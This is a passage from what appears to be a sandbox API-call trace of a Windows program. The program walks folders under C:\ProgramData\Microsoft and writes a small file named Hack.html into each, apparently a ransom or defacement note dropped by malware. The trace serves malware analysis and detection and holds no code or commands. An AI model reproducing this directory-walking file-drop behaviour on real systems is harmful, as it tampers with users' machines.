dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.858] GetFileType (hFile=0x258) returned 0x1 [0070.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0070.858] GetFileType (hFile=0x258) returned 0x1 [0070.858] WriteFile (in: hFile=0x258, lpBuffer=0x27bbaa4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x27bbaa4*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0070.859] CloseHandle (hObject=0x258) returned 1 [0070.859] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\Hack.html", lpFilePart=0x0) returned 0x34 [0070.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0070.859] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\Hack.html" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.862] GetFileType (hFile=0x258) returned 0x1 [0070.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0070.862] GetFileType (hFile=0x258) returned 0x1 [0070.862] WriteFile (in: hFile=0x258, lpBuffer=0x27be27c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27be27c*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0070.863] CloseHandle (hObject=0x258) returned 1 [0070.863] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Hack.html", lpFilePart=0x0) returned 0x2f [0070.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0070.863] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Hack.html" (normalized: "c:\\programdata\\microsoft\\device stage\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.864] GetFileType (hFile=0x258) returned 0x1 [0070.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0070.864] GetFileType (hFile=0x258) returned 0x1 [0070.864] WriteFile (in: hFile=0x258, lpBuffer=0x27c0a3c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27c0a3c*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0070.865] CloseHandle (hObject=0x258) returned 1 [0070.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.865] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DeviceSync", lpFilePart=0x0) returned 0x23 [0070.865] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DeviceSync\\", lpFilePart=0x0) returned 0x24 [0070.865] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.866] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.866] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.866] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.866] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DeviceSync", lpFilePart=0x0) returned 0x23 [0070.866] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DeviceSync\\", lpFilePart=0x0) returned 0x24 [0070.866] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.867] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.867] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.867] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.867] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DeviceSync\\Hack.html", lpFilePart=0x0) returned 0x2d [0070.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0070.867] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\Hack.html" (normalized: "c:\\programdata\\microsoft\\devicesync\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.868] GetFileType (hFile=0x258) returned 0x1 [0070.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0070.868] GetFileType (hFile=0x258) returned 0x1 [0070.868] WriteFile (in: hFile=0x258, lpBuffer=0x27c4348*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27c4348*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0070.869] CloseHandle (hObject=0x258) returned 1 [0070.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.869] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM", lpFilePart=0x0) returned 0x1c [0070.869] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM\\", lpFilePart=0x0) returned 0x1d [0070.870] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.870] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.870] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.870] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.870] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.871] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM", lpFilePart=0x0) returned 0x1c [0070.871] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM\\", lpFilePart=0x0) returned 0x1d [0070.871] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.871] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.871] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.871] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.871] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0070.872] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM\\Server", lpFilePart=0x0) returned 0x23 [0070.872] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM\\Server\\", lpFilePart=0x0) returned 0x24 [0070.872] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0070.872] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.872] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0070.872] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0070.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0070.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0070.872] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM\\Server", lpFilePart=0x0) returned 0x23 [0070.873] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM\\Server\\", lpFilePart=0x0) returned 0x24 [0070.873] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0070.873] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.873] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0070.873] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0070.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0070.873] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM\\Server\\Hack.html", lpFilePart=0x0) returned 0x2d [0070.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0070.873] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\Hack.html" (normalized: "c:\\programdata\\microsoft\\drm\\server\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.874] GetFileType (hFile=0x258) returned 0x1 [0070.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0070.874] GetFileType (hFile=0x258) returned 0x1 [0070.874] WriteFile (in: hFile=0x258, lpBuffer=0x27c8e50*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27c8e50*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0070.875] CloseHandle (hObject=0x258) returned 1 [0070.875] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM\\Hack.html", lpFilePart=0x0) returned 0x26 [0070.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0070.875] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Hack.html" (normalized: "c:\\programdata\\microsoft\\drm\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.876] GetFileType (hFile=0x258) returned 0x1 [0070.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0070.876] GetFileType (hFile=0x258) returned 0x1 [0070.876] WriteFile (in: hFile=0x258, lpBuffer=0x27cb5f0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27cb5f0*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0070.877] CloseHandle (hObject=0x258) returned 1 [0070.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.877] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\eHome", lpFilePart=0x0) returned 0x1e [0070.877] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\eHome\\", lpFilePart=0x0) returned 0x1f [0070.877] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.878] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.878] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.878] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.878] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.878] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\eHome", lpFilePart=0x0) returned 0x1e [0070.879] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\eHome\\", lpFilePart=0x0) returned 0x1f [0070.879] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.879] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.879] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.879] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.879] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0070.879] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\eHome\\logs", lpFilePart=0x0) returned 0x23 [0070.880] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\eHome\\logs\\", lpFilePart=0x0) returned 0x24 [0070.880] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0070.880] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.880] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0070.880] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0070.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0070.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0070.881] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\eHome\\logs", lpFilePart=0x0) returned 0x23 [0070.881] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\eHome\\logs\\", lpFilePart=0x0) returned 0x24 [0070.881] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0070.881] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.881] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0070.881] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0070.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0070.881] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\eHome\\logs\\Hack.html", lpFilePart=0x0) returned 0x2d [0070.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0070.882] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\Hack.html" (normalized: "c:\\programdata\\microsoft\\ehome\\logs\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.882] GetFileType (hFile=0x258) returned 0x1 [0070.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0070.882] GetFileType (hFile=0x258) returned 0x1 [0070.882] WriteFile (in: hFile=0x258, lpBuffer=0x27d0154*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27d0154*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0070.883] CloseHandle (hObject=0x258) returned 1 [0070.883] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\eHome\\Hack.html", lpFilePart=0x0) returned 0x28 [0070.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0070.883] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\eHome\\Hack.html" (normalized: "c:\\programdata\\microsoft\\ehome\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.884] GetFileType (hFile=0x258) returned 0x1 [0070.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0070.884] GetFileType (hFile=0x258) returned 0x1 [0070.885] WriteFile (in: hFile=0x258, lpBuffer=0x27d28fc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27d28fc*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0070.886] CloseHandle (hObject=0x258) returned 1 [0070.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.886] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x25 [0070.886] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\", lpFilePart=0x0) returned 0x26 [0070.886] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.890] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.891] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.891] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.891] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.891] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x25 [0070.891] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\", lpFilePart=0x0) returned 0x26 [0070.891] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.892] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.892] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.892] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.892] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0070.892] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Views", lpFilePart=0x0) returned 0x2b [0070.893] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\", lpFilePart=0x0) returned 0x2c [0070.893] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0070.894] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.894] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.894] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0070.894] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0070.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0070.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0070.895] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Views", lpFilePart=0x0) returned 0x2b [0070.895] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\", lpFilePart=0x0) returned 0x2c [0070.895] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0070.895] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.895] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.895] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0070.895] FindClose (in: hFindFile=0x59a768 | out: 